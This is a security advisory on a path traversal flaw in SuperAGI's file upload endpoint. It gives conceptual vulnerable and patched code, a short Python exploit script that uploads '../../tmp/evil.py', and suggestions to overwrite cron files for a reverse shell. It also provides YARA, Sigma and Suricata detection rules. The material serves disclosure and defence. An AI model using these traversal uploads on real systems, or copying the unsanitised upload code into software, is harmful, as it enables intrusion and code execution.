CVE-2024-9415

Executive Summary

CVE-2024-9415 is a critical Path Traversal vulnerability in Transformeroptimus SuperAGI version 0.0.14. The flaw resides in the file upload functionality, allowing an unauthenticated attacker to upload arbitrary files to arbitrary locations on the server. This can lead to remote code execution (RCE) by overwriting critical system files or application scripts, or to data corruption by overwriting any file. The CVSS score of 8.8 (High) reflects the ease of exploitation and severe impact on confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, making this a high-priority zero-day for affected deployments.

Supply Chain & Package Security

SuperAGI is a Python-based AI agent framework distributed via PyPI. The vulnerable version (0.0.14) may be pulled as a dependency in automated builds or container images. Organizations using SuperAGI should immediately audit their supply chain for this version and consider pinning to a safe version or implementing compensating controls until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read/write possible.
• Integrity (I): High (H) – Arbitrary file overwrite.
• Availability (A): High (H) – Could overwrite critical system files.

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the file upload handler. The application fails to sanitize user-supplied filenames, allowing an attacker to include ../ sequences to escape the intended upload directory. For example, an attacker could upload a file named ../../etc/cron.d/malicious to write a cron job, or ../../opt/superagi/static/shell.py to overwrite a Python script that gets executed.

The lack of input validation on the filename parameter in the multipart form-data request enables this attack. The server likely uses the filename directly in a file write operation without checking for path separators or canonicalizing the path.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

# app.py (v0.0.14)
@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = file.filename  # No sanitization
    file.save(os.path.join('/uploads', filename))  # Path traversal possible

Patched Code (hypothetical):

# app.py (patched)
import os
from werkzeug.utils import secure_filename

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = secure_filename(file.filename)  # Sanitize filename
    if not filename:
        return "Invalid filename", 400
    file.save(os.path.join('/uploads', filename))

The patched version uses secure_filename() to strip path separators and dangerous characters, preventing traversal.

Exploitation & Lab Setup

Red Team

Prerequisites: Python 3, requests library, target SuperAGI instance (v0.0.14).

Exploit Script:

import requests

target = "http://target:8080/upload"
payload = {
    'file': ('../../tmp/evil.py', 'print("PWNED")', 'text/plain')
}
r = requests.post(target, files=payload)
print(f"Status: {r.status_code}")

Steps:

1. Identify the upload endpoint (e.g., /upload).
2. Craft a filename with path traversal (e.g., ../../opt/superagi/static/shell.py).
3. Upload a malicious Python script or shell.
4. Access the uploaded file via the web server to trigger execution.

Alternative: Overwrite /etc/cron.d/evil to schedule a reverse shell.

Blue Team

Detection:

• Monitor for filenames containing ../ or ..\\ in upload requests.
• Alert on file writes outside the designated upload directory.
• Use file integrity monitoring (FIM) on critical system paths.

Honeypot: Deploy a fake upload endpoint that logs all filenames and triggers alerts on traversal patterns.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /upload with filenames containing ../ or ..\\.
• File System: Unexpected files in /tmp, /etc/cron.d, /opt/superagi/static/, or web root.
• Logs: Application logs showing file write errors or path traversal attempts.
• Process: Unusual processes spawned from uploaded scripts (e.g., reverse shells).

Detection Engineering

YARA Rule

rule CVE_2024_9415_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in file upload filenames"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-9415"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
    condition:
        any of ($traversal*)
}

Sigma Rule

title: CVE-2024-9415 Path Traversal in SuperAGI File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal patterns in HTTP requests to SuperAGI upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9415 SuperAGI Path Traversal Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload"; http.client_body; content:"../"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the file upload functionality if not required.
2. Short-term: Implement input validation on filenames using secure_filename() or similar.
3. Long-term: Upgrade to a patched version once released by Transformeroptimus.
4. Compensating Controls:
   • Deploy a Web Application Firewall (WAF) with rules to block path traversal patterns.
   • Restrict file upload directory permissions (read-only for web server).
   • Use a sandboxed environment for file processing.
5. Monitoring: Enable detailed logging of all file uploads and alert on suspicious filenames.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert